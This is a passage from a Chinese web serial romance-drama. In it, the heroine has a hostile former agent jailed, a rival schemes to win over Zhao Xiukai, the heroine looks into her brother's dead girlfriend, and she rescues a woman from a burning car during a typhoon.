但可惜,炎享的面试官都是很拎得清的人。 何锡东的确可以给炎享带来好处。 但今天何锡东可以出卖司享,明天何锡东就可以出卖炎享。 这样的人不值得信任,他们不会冒这个风险,把这么一棵墙头草养在公司。 指不定哪天风一吹,这棵墙头草又倒戈了呢? 他们宁愿不要他和他能带来的好处。 可何锡东没想到这一层,他认定了都是夏灼灼在背后搞鬼。 现在夏灼灼这个态度,更加激怒了他。 他想到家里的房贷,想到自己在赌场欠的一千万,想到被炎享拒绝,心里的火越烧越旺,终于把理智也烧完了。 他看着夏灼灼细细的脖颈,压抑不住内心的怒火,抬手就要去掐。 可夏灼灼又怎么会是吃素的呢? 他脚一抬,夏灼灼就知道他要干什么。 所以没等何锡东碰到她,她直接一脚将人重重踢到电梯门上。 电梯“咚”一声响,振动了好几下。 孙助理吃了一惊,等反应过来之后,立刻把何锡东摁在了地上。 电梯在这时到达了一楼。 夏灼灼越过何锡东的身体走出去,淡淡留下一句:“报警,别让我再看到他。” “是……” 孙助理隐约猜到夏灼灼是什么人,但是他很忠心,又聪明,不该多问的事情从来不过问。 夏灼灼的命令他记下了,动用自己在警局的人脉,把何锡东送了进去。 罪名是寻衅滋事。 一年半载的,他出不来了。 而进去之后,能不能活下来,那可就更不好说了。 毕竟监狱里面气氛压抑,很多人承受不住,会在里面寻死。 何锡东会不会寻死……那谁说得准呢?对吧? 而何锡东入狱的消息传到司享后,不少人都很高兴。 因为何锡东这人臭毛病一大堆,是个欺软怕硬的人。 那些刚进公司的女孩子,都遭受过他的欺负。 据说,还有一个女孩,就是因为被他欺负了,却不敢报警,所以才退圈的。 有人鼓起勇气,去警局把事情说清楚了。 有一个带头,就有第二个,第三个。 何锡东的罪名多了一个又一个。 不少人都感到大快人心。 这种祸害,就应该在里面待着,永生永世出不来。 何锡东在司享欺负人的事,很快就闹上了新闻。 连带着许星耀也跟着上了新闻。 许星耀上新闻,一是因为何锡东是他的前经纪人,他是何锡东带起来的。 二是因为有人匿名举报,说许星耀跟何锡东是一丘之貉,不过消息很快被压了下来,没有溅起什么水花。 司享做了这么多年的龙头老大,公关做的很不错。 但哪怕及时压下去,还是在互联网上留下了痕迹。 许星耀发了很大一通火,尤其是对自己的那个助理。 那个助理家庭情况很不好,妹妹重病在床,他不能失去这份工作,所以一直忍着。 最后是鼻青脸肿出来的。 其他人同情他,但也不敢帮忙。 许星耀的脾气不太好。 其实其他当红的艺人大部分不会这样,这是个人素质问题。 但司享今年的资源主要倾斜在许星耀身上,所以没人敢提醒他,给自己惹不痛快。 上次夏怀乐阻止他教训助理,所有人都以为,夏怀乐要倒霉了。 却没想到,才过去几天,夏怀乐就成了个炎享那边的人。 许星耀想欺负他也找不到机会。 提起夏怀乐,大家又是一阵八卦。 那天炎享公布新签的艺人里,夏怀乐很明显被当成了重点来宣传。 炎享旗下的那些大牌艺人,纷纷转发了夏怀乐的宣传海报。 而其他人,并没有这样的牌面。 有前辈大佬帮着宣传,夏怀乐上了两天热搜。 现在他虽然没有作品,但已经闯入大家的视线。 “没想到炎享这么看好夏怀乐。” “可不是吗?花重金挖过去的。” “他粉丝好像涨了三十几万。” “夏怀乐本来各个方面条件就很好,我看,今年他会是黑马。” 声音传到司珏羽的耳朵里,她又把办公室砸了一遍。 她费尽心机打压夏怀乐,结果一转头,夏怀乐就被炎享当成了一个宝,眼看就要有飞升的机会了。 她竹篮打水一场空,怎么会不生气? “来人!帮我买去沪城的机票!” 她要亲自去找夏怀乐。 而另一边,司慎行也得到了夏怀乐被挖去炎享的消息。 他有些失落,又有点惊喜。 失落的是,夏怀乐去了炎享,夏灼灼不可能会来拜托他,帮夏怀乐一把了。 惊喜的是,他觉得自己窥探到了夏灼灼的秘密。 夏怀乐被炎享挖过去,并且大肆宣传,绝对不可能是偶然。 这件事一定跟夏灼灼有关。 可她一个医生……虽然是暗部的人,但没有那么大的权力,能直接命令炎享做事。 除非,她不只是个医生。 司慎行对夏灼灼感到更好奇了。 好奇的同时,也越来越欣赏。 他恨不能天天看到夏灼灼,跟她待在一起。 但事实上,他根本找不到借口去找夏灼灼。 直到司珏羽的短信发了过来。 她说自己来沪城玩几天,想让他分几个人,保护她的安全。 司慎行一眼看破。 什么保护安全,是想借他的人和势,欺负别人吧。 司慎行眉头一挑,让霍刚跟着司珏羽。 霍刚是他的人,也知道夏灼灼对自己的重要性,关键时刻,他能拦着司珏羽,还能帮他盯着司珏羽的动向。 霍刚很不喜欢司珏羽,他从小跟着司慎行,司珏羽以前是怎么对待少爷,怎么骂少爷的,他清清楚楚地看在眼里。 现在虽然一口一个慎行哥哥,但那些往事,霍刚可没忘记。 只是司慎行的安排他不敢拒绝。 “是。” 他点头,正要退出去,被司慎行叫住。 “对了,医院那边,没什么问题吧?” 医院那边,问的是赵缇。 霍刚折回身,说:“没什么问题,我的人一直盯着呢。还有,这几天赵缇大师醒过几次,虽然很快就又昏睡过去了,但醒的时间一次比一次久。医生说,应该很快就能彻底清醒了。” 司慎行点头。 “继续让人盯着,他要是有什么闪失,你也不用干了。” “是!” 因为有司慎行这句话,霍刚又加派了人手,四个人变八个人,轮流值班,连只苍蝇都飞不进去。 夏琉璃急坏了。 她本来以为赵缇必死无疑,可谁曾想,这老不死的是真的命大,竟然还真让他死里逃生了。 当时在咖啡厅里,她去探赵缇的鼻息,明明已经没有呼吸了。 她逐渐反应过来,是她小看了夏灼灼,夏灼灼是真的有医术在身。 不只是赵缇这次,那次在杜家,杜老爷子也是夏灼灼治好的。 是她自己太自大,太轻视对手,所以走进了死胡同,认为夏灼灼是在招摇撞骗。 可是现在研究这些已经没有任何意义了。 今天下午的时候,赵缇又醒过一次。 这次醒了足足有七八分钟,而且正巧被她和赵修凯碰到了。 她跟赵修凯一起进了ICU。 赵缇嘴里插着呼吸机,说不了话,但那双浑浊的眼睛却是死死盯着她,一直想要说点什么,奈何只能发出“唔唔唔”的声音。 她故意引导赵修凯,说赵缇是在说,让他们放心。 赵修凯很蠢,没有怀疑。 但出了ICU,夏琉璃吓得后背全是冷汗。 她真怕赵缇说出点什么来。 她知道,这样子下去,事情迟早败露,她要是不想成为杀人犯,就必须得动手了。 可就在她准备找机会的时候,霍刚又加派了人手盯着这里。 她根本没机会动手。 思来想去,夏琉璃想到了一个好办法。 晚餐的时候,她在家里做了很大一桌菜。 当然,她其实不会做菜,这些菜都是她从餐厅买的,然后一样一样放到盘子里,之后又把餐盒都丢了,静静等着赵修凯回来。 赵修凯也有自己的事要忙。 他开了好几家玉器店和古玩店,生意很好。 但听说夏琉璃亲自下厨做了饭,他立刻就把事情先放下,光速回了家里。 一进门,就闻到了饭菜飘香,让人食指大动。 但更让赵修凯动心的是,餐桌上点了蜡烛,满屋都是浪漫的氛围。 他跟夏琉璃一直没捅破窗户纸,所以两个人仍旧是朋友。 他觉得,今晚是时候挑明两人的关系了。 “琉璃?你在哪儿?”他换了鞋,走进客厅。 夏琉璃从厨房里走出来,双手拿着碗筷。 “你回来了?” 夏琉璃脸上带着温柔的笑意,看得赵修凯直发愣,心跳也不自觉快了起来。 第127章 窥探她的秘密 夏琉璃仿佛没有看出赵修凯的神色变化,一边往餐桌边走,一边说:“你回来得正好,饭菜刚做好,快坐下趁热吃。” 赵修凯回过神来,调整好情绪坐下。 仔细一看,桌子上放了十几道菜,好几道都还是大菜。 “今天怎么做的这么丰盛?是什么好日子吗?” 夏琉璃拉开椅子刚坐下,闻言笑道:“不是什么特别的日子,就是想单纯感谢一下你。如果没有你,我现在连住在哪里都不知道,谢谢你让我住在这儿。” “你太客气了,咱们是朋友。” 夏琉璃没接“朋友”这个话,只说:“你尝尝这个椒盐排骨,我做了好久,不知道味道合不合你的胃口。” 她一边说,一边夹了一块排骨到赵修凯的碗里。 赵修凯点头,咬了一口排骨。 外酥里嫩,油而不腻,是赵修凯喜欢的口味。 “很好吃,没想到你还有这厨艺?” 夏琉璃笑了下,笑容看起来有点勉强。 “怎么了?”赵修凯问。 夏琉璃叹了口气,随即笑起来,说:“不说这些,今天咱们开开心心吃饭。” 赵修凯看她欲言又止的样子,就猜想夏琉璃肯定是以前日子过得太苦了,所以才需要自己会厨艺。 金尊玉贵的大小姐是不需要这些技能的。 她没有看起来过得那么好。 赵修凯对她又多了一分心疼。 他举起酒杯,对着夏琉璃的杯子碰了一下。 夏琉璃很豪爽,一口气干完了杯子里的红酒。 一顿烛光晚餐吃完,两人都有些微醺。 也不知道是不是酒精的作用,赵修凯突然变得很大胆。 他按住夏琉璃的肩膀,试探着吻了上去。 夏琉璃没有避开,赵修凯就知道她默认了,当即吻得更深。 两个人的呼吸慢慢变粗变重。 屋子里传出细细的喘气声。 不知道是什么时候,两个人已经从餐桌边来到了沙发上。 沙发柔软宽大,像一张小床。 两个人很快褪去了衣服。 夏琉璃并不是第一次。 她早就把自己的第一次给杜浩然了。 但今天,她特意做了一点准备,手指间里藏着一颗小珠子。 只要轻轻一掐,珠子就会轻轻爆开,流出红色的血液。 这东西本来是万圣节的时候用的,名字叫人造血液。 赵修凯是第一次,笨手笨脚,显得很生疏。 夏琉璃也不去特意引导他,甚至表现得比他还要笨拙。 赵修凯“进来”的时候,她整个身体一僵,发出呼痛的声音,眼泪恰到好处地落下来。 赵修凯立刻停下了动作。 “疼吗?那我出去?” 夏琉璃眼睛里满是水光,却很“坚强”地摇了摇头,更用力地搂住赵修凯的脖子,在他耳朵边轻轻说:“我愿意。” 赵修凯立刻浑身充满了力气。 大概是第一次,赵修凯很快就结束了。 夏琉璃红着脸说:“我去卫生间洗一洗,你等我洗好再去洗。” 赵修凯点头,眼底尽是温柔。 很快夏琉璃就娇羞地去了卫生间。 赵修凯从沙发上坐起来,打开了客厅的灯。 余光一瞥,就看到了沙发上沾着的红色血迹。 男人都有这种情结,夏琉璃很懂男人,所以提前准备了“人造血液”,并且自己先去洗漱。 赵修凯看着那点红色血迹,心里狠狠一动。 他以为,夏琉璃长得那么漂亮,应该不是第一次了。 没想到…… 赵修凯心里很激动。 他暗自发誓,要一辈子对夏琉璃好,不会让她没名没分地跟了自己,他会对她负责的。 只是这件事得等爷爷醒了之后再说。 他爸妈很忙,常年到处飞,是爷爷把他带大,他的婚姻大事得由爷爷做主。 医生说,爷爷这两天就会醒。 他相信,爷爷知道了自己的好消息,也会为他高兴的。 夏琉璃回来了,换上了一身丝质睡衣。 两个人都洗干净后,去了卧室一起躺下。 这房子虽然是赵修凯常住的,但是他不是随便的人,夏琉璃住进来之后,他就搬去了赵家的老房子。 这次,是他最近唯一一次住下,还是跟自己喜欢的女人睡在一张床上。 他高兴到觉得自己是在做梦。 否则老天怎么会对他这么好,叫他心想事成呢? 他搂着夏琉璃,笑着说:“其实,那天在医院不是我第一次见到你。” 夏琉璃有些意外,也有点紧张。 别不是知道了她跟杜浩然的关系了吧? 只听赵修凯说:“几个月前,我作为评委,参加了一个国画比赛。你是冠军。” 赵修凯没去未来之境,所以不知道,她是抄袭了夏怀瑾的画才拿到了冠军。 夏琉璃也想起来了。 就是她拿夏怀瑾的作品去参加比赛的那次。 只是当时她有杜浩然,夏家又是如日中天的时候,她哪里看得上赵修凯? 她笑了笑,说:“原来你在那个时候就暗恋我了?” 赵修凯脸颊一红。 “算不上暗恋,就是有好感……但我真的没想到,我真的能跟你在一起。” 夏琉璃搂住赵修凯的脖子,在他唇上印上一个吻,很深情地说:“我们会一辈子在一起的。” “嗯!” 两个人又吻在了一起。 就在赵修凯准备再来一次的时候,夏琉璃推开了他的胸膛,说:“阿凯,我有一件很重要的事要跟你说。” “你说。” “我得跟你道歉。” “?”赵修凯不解。 夏琉璃坐正了身子,垂下睫毛,声音略显沙哑地说:“那天在手术室门口,我撒谎了……我太害怕了,所以我撒谎了。对不起……” 赵修凯听得云里雾里。 “你撒什么谎了?别着急,慢慢说。” 夏琉璃哽咽了下,开口道:“司慎行的手下给我看的那颗药丸,我认得。那颗药,本来在师父的口袋里。他发病之后,让我帮他拿药,可是我太着急了,手不听使唤,居然把药丸弄掉了……阿凯,对不起,是我害了师父。” 赵修凯的脑袋空白一阵。 但他很快恢复镇定,伸手揉了揉夏琉璃的脑袋。 “不怪你,你又没遇到过这样的事,紧张是正常的。” “当时你也只是太害怕了,才说自己没见过那颗药。” “而且,那颗药也不是什么仙丹,吃了也不一定就能好,最后还是得进手术室。” “再说了,爷爷这几天不就会醒过来了吗?你不用自责的,我不怪你。” 赵修凯是真的不怪夏琉璃。 一开始听到她说那些话的时候,他只是有些惊讶,没想到中间还出过这样的事情。 但他是个擅长换位思考的人。 换成是他,遇到自己很重要的亲人突然犯病,他也会紧张、害怕。 所以夏琉璃当时因为紧张,不小心弄掉了药完全可以理解。 后来夏琉璃又骗司慎行他们说自己没见过那颗药,这也非常正常。 她太胆小了,所以很害怕被迁怒。 加上夏灼灼当时咄咄逼人,她就更慌了,所以撒了谎。 赵修凯觉得这一切都是可以理解的。 反正现在爷爷也一天天转好,那颗药丸没有派上用场也没有关系,结局是好的,夏琉璃又不是故意的。 他又揉了揉夏琉璃的脑袋,让她别自责、别害怕。 夏琉璃眼中泪光闪闪。 “可是我怕师父醒过来误会我,我在这之前就做了一些错事……他对我有一点意见。” “你做错了什么事?” 夏琉璃很后悔地说:“那天在未来之境,夏灼灼陷害我,让我不得不故意抄袭别人的画参加比赛……师父知道了,觉得我是个惯犯。那天在咖啡厅,他就是去骂我的。” 赵修凯更心疼了。 “这不怪你,这都怪夏灼灼。” “可是,你不怪我,不代表师父不会怪我。”她咬了下唇,说:“其实师父怪我我可以忍受,我只是害怕他对我误解太深,所以不同意我们在一起。” 赵修凯吻了吻她的额头。 “你放心,他会同意的,我会跟他说,除了你,我别的女人都不要。他总不能看我打一辈子光棍吧?我爸妈可只生了我一个,他不会让我们家绝后的。” 夏琉璃放心了,她要的就是赵修凯的这句话。 她可以不用对赵缇动手,就把自己摘出来。 赵修凯这个蠢货会帮她应对一切赵缇带来的麻烦。 她回吻住了赵修凯。 夏琉璃的美人计,很成功。 屋内一夜旖旎。 …… 第二天是个大雨天,豆大的雨滴打在脸上,脸颊都感觉有点疼。 夏管家和许姨把窗户全部关上,防止雨打进来。 因为是台风天,夏家人今天全都留在家里。 夏灼灼跟宁穗香窝在沙发上看气象台。 “台风派比安已经导致多地受灾……” 就在这时,夏灼灼的手机“叮咚”一声响。 她看了眼手机,是司慎行发过来的。 “今天有台风,别乱跑。” 夏灼灼在心里骂了句神经。 谁台风天会在外面乱跑? 她又不是小孩子了,至于特意发这么一条消息过来吗? 夏灼灼没回。 可下一秒,手机又响了起来。 她以为还是司慎行,结果点开一看,是蚊子发过来的。 前两天夏灼灼让他查二哥夏怀呈的女朋友,蚊子当时保证说当天就给她回复,结果过了三天,才终于来消息了。 他找到了那个女孩的地址。 看来是花了不少力气才查到,否则她交代的事情,蚊子不会故意拖延。 她抬眼,看了眼夏怀呈。 第128章 预防针 夏怀呈正在跟大哥、三哥,还有六哥在打牌。 夏怀武前两天就回来了,但他的伤还没有全好,怕宁穗香看出来,所以借口自己要好好反省,很少出现在楼下。 夏灼灼的视线定在夏怀呈的身上,心里很奇怪。 既然是在一起那么多年的女朋友,怎么会一直不带到家里人面前,而且家里人也从来不提这个人? 就好像这个人根本不存在一样。 这根本不是夏怀呈的做派。 他是个责任心很强的人。 不会明明谈了恋爱,却不带人回家。 “叮咚。”手机又是一声响。 是蚊子问她要不要让他先去看看。 夏灼灼回复:“不用,我自己去。你身份太显眼,不要管这件事。” 蚊子回了一个“是”。 夏灼灼把聊天记录翻上去,看了眼地址。 是沪城一个很老的居民区,在桂花路上。 恰好在这时候,气象台提到了桂花路。 夏灼灼抬头,看到电视说这里是台风的重灾区。 她眉头一拧,下意识再次看向夏怀呈。 可是夏怀呈还是没有半点反应,依旧在热火朝天地跟几个兄弟打牌。 好奇心让夏灼灼按耐不住,她打算出趟门看看。 只是台风天出门,必须得有个正经理由,否则宁穗香不会放心。 她眼珠子一转,给夏六发了个消息。 夏六那边看了眼手机,随即看向她的方向,对着她轻轻一点头。 两分钟后,夏六突然丢掉手里的牌,捂着肚子说:“好痛……” 几个兄弟看向他。 “小六,输了就输了,你别找这种借口耍赖啊。”夏怀乐一副不相信的样子。 夏怀瑾狠狠掐了下自己的大腿,脸色瞬间变得苍白无比。 “不是耍赖,是真的肚子疼……” “怎么了?”宁穗香立刻从沙发上站起来,走过去。 夏怀瑾皱着眉说:“可能是吃坏了肚子,我早上吃了个没洗过的苹果……” 宁穗香连忙招呼夏灼灼。 “小七,你来给你六哥看看。” 夏灼灼这才走过去,给夏怀瑾检查了一番,随后说:“应该是急性肠胃炎,得去医院输液,中医治疗起来太慢。六哥,你能走吗?我陪你去。” 夏怀瑾点点头。 夏怀呈和夏怀乐立刻提出要跟着一块去。 夏灼灼坚持自己送夏怀瑾去。 “我对医院比较熟,知道让医生开什么药。你们去了反而添乱,在家里等我们回来就好。” 几个人只好同意。 只有夏怀征,意味深长地看了眼夏灼灼,却没反驳她,反而帮着她说话。 “小七办事比你们两个还稳重,让她去就好。夏管家,你帮忙开车。” “是。” 于是夏灼灼让夏管家开车去了医院,两个人让夏管家在车上等。 只是他们刚进医院大门,立刻就从另一个门出来了。 夏怀瑾直起背,精神抖擞地问:“小七,你说出来请我吃好吃的,咱们去吃什么?” 夏灼灼看着他,心里叹气。 六哥太单纯了。 落到别人手里,恐怕被人卖了都还在帮人数钱。 她到底不忍心,于是说:“我们先去一个地方,我再请你吃好吃的。” “去哪里?” “桂花路。” 台风天,风雨太大,打车也很难打。 半个小时的车程,足足过了一个半小时才到。 这里果然是台风的重灾区。 道路两边的桂花树全都倒了,居民楼也有受损的。 好在夏灼灼要去的那里还算平安。 她冒着雨下车,没有撑伞。 这种天气,撑着伞只会被大风刮跑。 所以两个人很快就成了落汤鸡。 不过这一趟没有白来。 夏灼灼在附近一家小餐馆里,打听到了她想知道的事情。 这种天气,餐馆只有他们这一桌的客人。 老板也无聊,就很详细地跟她说明了情况。 二哥的女朋友,名字叫钱佳悦,三年前出车祸死了。 撞她的车是一辆豪车,那个人是酒后驾驶,按理说应该是对方全责。 可后来定责,责任却是五五划分,而且丝毫没提对方酒后驾车的事。 老板叹气,说:“那个人的身份很不一般,后来责任划分出来,钱家闹了一场,非但没用,反而被关了两个。” “然后呢?”夏灼灼问。 “然后是那个小姑娘的男朋友出现,他好像身份也不一般,带了专业的律师团队收集证据,把肇事者告了进去。” “但因为他不要钱,只要求送对方‘进去’,所以最后钱家没捞到多少钱,反而转过头来怪他多管闲事。” “一开始那个小伙子还经常来看小姑娘的家里人,每次都被赶走之后就没来了,只在逢年过节会送一点礼。” 夏灼灼觉得,自己已经窥探到了夏怀呈这些年事业不顺的原因。 她把几张百元大钞压在碟子下面,带着夏怀瑾走了。 夏怀瑾已经意识过来,夏灼灼不是来带他吃好吃的。 因为这个餐厅的菜一点也不好吃。 她是来打听事情的。 风雨这时候小了一点,他们沿着屋檐走,夏怀瑾于是忍不住问:“妹姐,你打听的这个人是谁?” 夏灼灼看他一眼,问:“你不知道钱佳悦是谁?” 夏怀瑾摇摇头:“不知道,不过名字听着很耳熟,好像谁以前提起来过,但是想不起来了。” 夏灼灼干脆直接提醒他:“二哥的女朋友。” 夏怀瑾骤然瞪大了眼睛,想起了是谁提过钱佳悦这个名字。 他想起刚才餐厅老板说的话,叹了一口气。 “之前我们都知道三哥有女朋友,他也说等时候到了就带回家里看看。但后来他再也没有提起过这个人,我们就以为他们是分手了,毕竟是读书的时候谈的恋爱,没几个人能从校服到婚纱。但是真没想到,居然是去世了……” 世事无常。 夏灼灼点头。 “我也没想到。” 夏怀瑾问:“你怎么突然找到了她身上?” 夏灼灼知道夏怀瑾值得信任,于是也不瞒着他,开门见山地说:“我通过我的人脉,帮二哥查过。发现他这几年事业不顺,是有人在背后搞鬼,但我一直没查到搞鬼的人是谁。直到听说他有个谈了很久的女朋友。所以才找到了这里。” 她已经知道了,搞鬼的,一定是那个被送进去的肇事者。 餐厅老板知道的有限,对方的具体身份还需要再仔细查。 但既然有了方向,暗部很快就能查出来。 这件事办完,夏灼灼去看了自己的老徒弟。 赵缇每天醒过来的时间越来越长,只是插着呼吸机,没法说话。 她过去的时候,赵修凯和夏琉璃都不在。 霍刚安排的人认识她,客客气气地跟她打招呼,告诉她,现在赵缇正好醒着。 “辛苦你们了,等赵缇出院,我请你们吃饭。” 几个人忙说不敢。 夏灼灼又交代了几句,才戴上口罩,进了ICU。 赵缇看到她,心情很是激动,仪器显示他的心率上去了。 夏灼灼握住他的手。 “你不要激动,对身体不好。先闭上眼睛,平复一下心情。” 赵缇照做了。 等心率恢复正常值,夏灼灼才叫他睁眼。 可一睁眼,赵缇又激动起来,唇瓣不停地动,明显是有话想说。 夏灼灼道:“我知道你要说什么,你是想说夏琉璃吧?” 赵缇有些惊讶,随即点了下头。 夏灼灼心里的猜测又落实了一大半。 她说:“我知道你要说什么,也猜到大概是怎么一回事。但是,无论什么事情都没有你自己的身体重要,你现在最重要的任务就是把自己的身体养好。至于那些害人的人,总有收拾她的一天,不急于这一天两天的。” 赵缇到底年纪大,阅历丰富,不像年轻人,血气方刚,听不进去别人的劝。 刚才只是一时激动,现在夏灼灼的话让他很快就冷静了下来。 他点头,表示自己知道了。 夏灼灼稍稍放心,又想起了赵修凯,忍不住给他打了一针预防针。 “我见过你那个孙子了。” 赵缇看着她,不明白她为什么突然提起赵修凯。 夏灼灼继续说道:“你这个孙子……被你保护得太好,所以有点太天真,耳根子太软。” 赵缇有些不好意思。 他家三代独苗,就这么一个孙子,当然是要重点保护。 只是他还是很奇怪,师父提起赵修凯是为什么? 修凯冒犯了师父? 下一秒,只听夏灼灼说:“他应该是被夏琉璃骗了,两个人走得很近。” 赵缇眼睛一瞪,火光几乎要从眼睛里跳出来,心率又快上去了。 夏灼灼拍拍他的手。 “你又忘了我刚才说的,不管什么人,什么事,都没你自己的身体重要。你冷静下来,我再跟你说。” 赵缇点了点头,强迫自己冷静一点。 夏灼灼这才继续说。 “其实也不能怪你孙子,夏琉璃的演技太好,长得又漂亮,他一时半会儿被迷了眼睛很正常。不过我看得出来,他是在乎你这个爷爷的,他这个人本性不坏。等你好了之后,你不要跟他发火,好循循善诱,免得把他越推越远。” 赵缇点头。 夏灼灼的话,他都记下来了。 很快赵缇又开始犯困。 他太虚弱了。 夏灼灼也就没有多留。 该打的预防针已经打了,应该可以避免夏琉璃再次刺激到赵缇。 她这个老徒弟很善良热心,但也不是蠢人。 离开ICU后,兄妹两个人回到了车上。 夏管家一边开车,一边问起夏怀瑾的身体状况。 “好的差不多了,点滴很管用。” 夏管家正要说话,突然前面的车子急刹车,他也忙跟着刹车。 后座的两个人身体都被惯性带着往前倾。 夏怀瑾没坐稳,额头重重撞在前面的车座上。 第129章 生死一线 夏怀瑾的额头一片火辣辣的痛。 但他的第一反应却是去看夏灼灼的情况。 “小七,你怎么样!” 因为太担心,连“妹姐”都不叫了。 夏灼灼摇摇头。 她及时抓住了车门上的把手,所以没有撞到。 “六哥,你怎么样?” “没事,就是擦破一点皮,没什么关系。” 夏灼灼点头:“等回去,我拿药膏给你擦一下。” 驾驶座上的夏管家愧疚地扭头道歉。 “对不起,六少爷、七小姐,前面的车子急刹车,我怕撞上去,所以才跟着踩了刹车。都是我不好,没保持车距。” “不怪你,这是快车道,是前面的车的问题。” 说着,她看向前面。 发现不只是前面那一辆车停了下来,而是停了十几辆车。 两个车道都堵住了,车子开不过去。 “走,去看看。” 夏灼灼拉开车门下车,想知道前面发生了什么。 夏怀瑾连忙也跟着下车。 这个时候风雨又大了起来。 夏灼灼盯着风雨,来到前面看。 只见前面十几辆车接连追尾,原因是台风刮倒了路边的一棵大树,第一辆车被压在树下。 后面几辆车来不及刹车,接连撞了上去。 也是夏管家反应快,才没跟着一起追尾。 夏怀瑾心有余悸,拍着胸脯说:“幸亏是夏管家开车,换成是我,肯定得出事。” 他车技……很一般。 否则也不会在去乡下接了夏灼灼之后,看夏灼灼开车那么快,吓得哇哇大叫,结果被夏灼灼劈晕。 ——他到现在还以为自己是被吓晕过去的。 夏灼灼没仔细听夏怀瑾说了什么,因为她的目光落在最前头那辆被大树压倒的车上。 通过风的传播,夏灼灼闻到了空气有一股什么东西烧起来的味道。 “妹姐,我们回去吧,先去车上躲一下雨。等雨小了,我们再去对面打车回去,让夏管家留在这里等交警过来疏通马路。” 夏灼灼站在那里没动,眼睛依旧盯着那棵倒下来的大树。 “妹姐?”夏怀瑾伸手在她面前晃了晃,疑惑她在出什么神。 夏灼灼手一抬,指向前面。 “那辆车,可能要着火了。” 夏怀瑾一愣,但很快镇定下来。 “没事,车上的人应该早就下来了。” 却听到有人喊:“快帮忙啊!我们的太太还在车上!” 夏灼灼眉头一蹙,脚步已经先脑子一步朝前面跑过去。 不忘留下一句“你先上车”。 夏怀瑾怎么肯自己上车? 没有半分迟疑,立刻追了上去。 但他速度没有夏灼灼快,夏灼灼很快把他远远甩开。 最前头的车旁边,随着司机大喊,有很多人下车查看情况。 但也只是看了一眼就回到了车上。 风雨太大,大家觉得这种事有交警管,用不着他们帮忙。 夏灼灼却一点也没有迟疑,逆着人流,跑到了那辆车旁边。 那是一辆电车。 夏灼灼看到了S集团的标志。 她认出来,这是S集团的第一代电车,夏怀瑾被叫去设计的,是第二代电车。 S集团今年打算更大力度推广电车。 只不过只看了一眼,夏灼灼就没管这是什么车了。 她看到车门打开,里面被压着一个女人,司机一个人根本没法把女人从车里拖出来。 夏灼灼闻到了更浓烈的气味。 她几步冲上前,帮着一起拉人。 “谢谢你,谢谢……” 司机一边用力,一边道谢。 夏灼灼没说话,只是手上在不停地用力。 女人吃痛地尖叫了起来。 她坐的位置,正好是被大树压到的地方,车顶严重变形,往下凹陷。 女人就是因为这个才被卡住。 “痛!” “太太……”司机吓得不敢再继续拉。 夏灼灼手上的动作却不停。 她盯着对方的后脑勺,说:“你忍一忍,车子可能会着火,到时候不到一分钟你就会被烧焦。” 这话不假,电车着火之后烧起来的速度是很快的。 女人像是被吓到了,没有再喊疼,只是不停地喘气。 可拉了好一会儿,他们两个只把人稍微拉出了一点点。 夏灼灼看清了女人的脸。 不是别人,正是那天那个因为摔倒而发病的小男孩的妈妈。 女人也看到了夏灼灼,眼底有明显的惊讶。 但这惊讶还没持续几秒,就被车底的火光打断了。 车子着火了。 “快!快走啊!” 后面的车子的司机不停地朝这边喊。 再不跑,他们两个也得倒霉。 夏怀瑾在这时跑了过来。 但他真要冲过来帮忙,却被路人拦住。 “不能过去!车子可能会爆炸!” “放开我!” “不能过去!” 夏怀瑾被生生拖住,无论怎么挣扎,旁边的人就是不肯放开他。 他们怕多增加伤亡。 司机在这时候也生出惧意,松开了女人的手,退后了几步。 夏灼灼扭过头,瞪着司机:“你跑什么?马上就要拉出来了,快过来帮忙!” 可是司机非但没有上前,反而退得更后面了。 “对不起,我上有老,下有小……” 他一边说,一边后退。 很快就离车子远远的了。 女人哭了起来。 她有预感,自己今天可能会死在这里。 “别管我了,你走吧!” 这个女孩子是她儿子的救命恩人,她不想拉着恩人一起死。 “别废话!你忍着,我数三下,然后会用力拉。会很疼。” 女人流着眼泪,没说话。 夏灼灼开始倒数:“三、二……” 就在这时,一道高大的人影突然出现,抓住了女人的另一只手。 夏灼灼下意识朝旁边看去。 看到了司慎行。 他那张棱角分明的俊脸上,此刻全是雨水,显得有些狼狈。 “别愣着了,一起拉。” 司慎行的话让她回过神。 她一点头,再次开始倒数:“三、二、一!拉!” 只听一声惨叫和闷响,女人被拉了出来。 她的后背全是血。 司慎行直接将人拖起来,背在自己身上。 “跑!” 夏灼灼没有半分犹豫,撒开步子就朝后面跑去。 就在这时,车子里的火光漫天,随即响起一声爆炸声。 车门被炸开了来,飞到了天上,又掉进了绿化带里。 好在,夏灼灼和司慎行都没有受伤。 他们在爆炸前五秒钟跑开了。 所有人看着那熊熊燃烧的车子,心里都是后怕。 还好他们察觉到了不对劲,提前往后面退了,否则万一被那车门砸到,不死也是重伤。 交警在这时赶到。 车子开不过来,是骑摩托车来的。 司慎行让夏灼灼帮忙照看好女人,自己上去跟交警交涉。 很快阿麦也赶过来了,带了好几个人。 司慎行不是多事的人,他怎么会代替这位太太去跟交警交涉? 疑惑间,夏怀瑾跑了过来。 “小七!你没受伤吧?我想上去帮忙,但是他们往死里拉我……” “他们拉你是对的,不然你会受伤。” 她顿了顿,又补充了句:“放心,我没事。” 夏怀瑾还想说什么,夏灼灼已经去查看女人的伤势了。 虽然流了很多血,但都是皮外伤,没有什么大碍。 “你去医院之后,让他们给你打一针破伤风,以防万一。” 女人哭着道谢。 “小姑娘,我又欠你一次。” 夏灼灼摇头:“举手之劳。” “上次你就说举手之劳,这次你千万要收下我的支票。”女人不由分说,塞给夏灼灼一张五百万的支票。 五百万很多,但跟她和儿子的命比起来就不算多了。 夏灼灼不缺钱,把支票推了回去。 “你收着吧,我家有钱。” 不等女人再次开口,夏灼灼问起了她儿子。 “小朋友怎么样了?” “今天出院……我是去接他的。结果路上遇到了这种事。” 她叹气的同时,又庆幸自己是在去的路上出事的,否则她儿子也会跟着一起出事。 夏灼灼安抚道:“大难不死,必有后福,你跟你儿子都是有福气的。” “我们有福气,是因为遇上了你。小姑娘,你是我们母子俩的福星。如果你不介意,我想跟你交个朋友。” 女人说着拿出自己的手机,要跟夏灼灼交换联系方式。 夏灼灼拗不过,只好答应了。 存了电话号码,女人又问:“你家住在哪里?等台风过去,我想带我儿子登门道谢。” 不等夏灼灼拒绝,女人补充道:“我儿子一直想见见你,他说他想亲口谢谢大姐姐。” 小孩子都这么说了,夏灼灼也不好拒绝,只好告诉了她自己的地址。 夏家的庄园很有名。 女人听了,错愕一瞬,看着她问:“你的爸爸……是不是叫夏云海?” 这次轮到夏灼灼惊讶了。 “你认识他?” 